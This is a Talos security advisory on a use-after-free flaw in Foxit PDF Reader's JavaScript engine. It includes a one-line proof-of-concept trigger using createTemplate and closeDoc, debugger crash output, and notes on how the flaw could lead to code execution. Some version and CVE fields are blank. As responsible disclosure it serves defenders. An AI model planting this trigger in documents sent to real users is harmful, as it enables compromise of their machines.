Talos Vulnerability Report


Foxit PDF Reader JavaScript createTemplate Remote Code Execution Vulnerability

April 19, 2018
CVE Number



An exploitable use-after-free vulnerability exists in the JavaScript engine of Foxit Software Foxit PDF Reader version A specially crafted PDF document can trigger a previously freed object in memory to be reused resulting in arbitrary code execution. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability.

Tested Versions

Foxit PDF Reader

Product URLs


CVSSv3 Score

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H


CWE-416: Use After Free


Foxit PDF Reader is one of the most popular PDF document readers and has a widespread user base. It aims to have feature parity with Adobe’s Acrobat Reader. As a complete and feature rich PDF reader it supports JavaScript for interactive documents and dynamic forms. JavaScript support posses an additional attack surface. Additionally, Foxit PDF Reader supports XFA or XML Forms Architecture which is a new way of making interactive PDF forms.

Closing the currently active PDF document via JavaScript closeDoc call results in a clean-up of a lot of object. A stale reference to an already freed object can result in a use-after-free condition. If a document tries to create a template, but fails, an object is allocated and freed, but a stale reference to it is kept. When closing the document, this reference is reused, which can lead to memory corruption.

This particular vulnerability lies in combinations of createTemplate and closeDoc methods which trigger a use after free:

app.alert("alloc and free follow"); this.createTemplate("temp"); app.alert("uaf follows"); this.closeDoc(1);

Opening the proof of concept PDF document in Foxit Reader with PageHeap enabled results in the following crash (note that Foxit Reader will pop up a warning that the file is damaged, due to malformed XFA objects, which is of no consequence to triggering the vulnerability):

First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=10fcdfd0 ebx=0feecee8 ecx=10fcdfd0 edx=0000000a esi=134fafd0 edi=00000000
eip=02393106 esp=001bdbb4 ebp=001bdbdc iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210202
02393106 83790800        cmp     dword ptr [ecx+8],0  ds:0023:10fcdfd8=????????
0:000> !heap -p -a ecx
    address 10fcdfd0 found in
    _DPH_HEAP_ROOT @ 7331000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                   11b81bfc:         10fcd000             2000
    69db90b2 verifier!AVrfDebugPageHeapFree+0x000000c2
    777569d4 ntdll!RtlDebugFreeHeap+0x0000002f
    77719e5b ntdll!RtlpFreeHeap+0x0000005d
    776e6416 ntdll!RtlFreeHeap+0x00000142
    75b9c5f4 kernel32!HeapFree+0x00000014
    02e7b1fb FoxitReader!CertFreeCertificateChain+0x0139ee1b
    02583ce5 FoxitReader!CertFreeCertificateChain+0x00aa7905
    02583c84 FoxitReader!CertFreeCertificateChain+0x00aa78a4
    02583f71 FoxitReader!CertFreeCertificateChain+0x00aa7b91
    02394e68 FoxitReader!CertFreeCertificateChain+0x008b8a88
    0237bf4c FoxitReader!CertFreeCertificateChain+0x0089fb6c
    023898b7 FoxitReader!CertFreeCertificateChain+0x008ad4d7
    01558c17 FoxitReader+0x00178c17
    01558bab FoxitReader+0x00178bab
    014aeada FoxitReader+0x000ceada
    014b0ae8 FoxitReader+0x000d0ae8
    015f79de FoxitReader+0x002179de
    015f77ab FoxitReader+0x002177ab
    0160698a FoxitReader+0x0022698a
    015f13f7 FoxitReader+0x002113f7
    015f1218 FoxitReader+0x00211218
    02cd24f9 FoxitReader!CertFreeCertificateChain+0x011f6119
    02cd63fc FoxitReader!CertFreeCertificateChain+0x011fa01c
    02cd648b FoxitReader!CertFreeCertificateChain+0x011fa0ab
    75a9c4b7 USER32!InternalCallWinProc+0x00000023
    75a9c5b7 USER32!UserCallWinProcCheckWow+0x0000014b
    75a94ede USER32!DispatchClientMessage+0x000000cf
    75a94f4d USER32!__fnDWORD+0x00000024
    776d6bae ntdll!KiUserCallbackDispatcher+0x0000002e
    75a95552 USER32!SendMessageW+0x0000007c
    015eee15 FoxitReader+0x0020ee15
    02cd8172 FoxitReader!CertFreeCertificateChain+0x011fbd92

Analyzing the heap state clearly shows that ecx points into a freed memory region. If we examine the life of the object more closely, by setting breakpoints before and after calls to createTemplate and closeDoc we can observe the following:

address 10fcdfd0 found in
_DPH_HEAP_ROOT @ 7331000
in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                            11b81bfc:         10fcdfd0               30 -         10fcd000             2000
69db8e89 verifier!AVrfDebugPageHeapAllocate+0x00000229
77756206 ntdll!RtlDebugAllocateHeap+0x00000030
7771a127 ntdll!RtlpAllocateHeap+0x000000c4
776e5950 ntdll!RtlAllocateHeap+0x0000023a
02e7ee12 FoxitReader!CertFreeCertificateChain+0x013a2a32
02583ca5 FoxitReader!CertFreeCertificateChain+0x00aa78c5
02583ad1 FoxitReader!CertFreeCertificateChain+0x00aa76f1
02583f11 FoxitReader!CertFreeCertificateChain+0x00aa7b31
01b69aeb FoxitReader!CertFreeCertificateChain+0x0008d70b
01b6a529 FoxitReader!CertFreeCertificateChain+0x0008e149
017291c8 FoxitReader+0x003491c8
02b26e8e FoxitReader!CertFreeCertificateChain+0x0104aaae
02b1ec76 FoxitReader!CertFreeCertificateChain+0x01042896
02b21023 FoxitReader!CertFreeCertificateChain+0x01044c43

Above shows the object was allocated before a call closeDoc and is being freed during this call. This limits the window of opportunity that a potential attacker has to manipulate the memory and change the contents of the freed heap chunk, but it is still possible that careful manipulation of the document layout could lead to greater control.

At the time of the crash, pointer pointing to already freed memory is used as this pointer, if contents of this memory are under control, a vtable dereference could result in control flow hijacking and ultimately in arbitrary code execution.


2018-03-05 - Vendor Disclosure
2018-04-19 - Public Release


Discovered by Aleksandar Nikolic of Cisco Talos.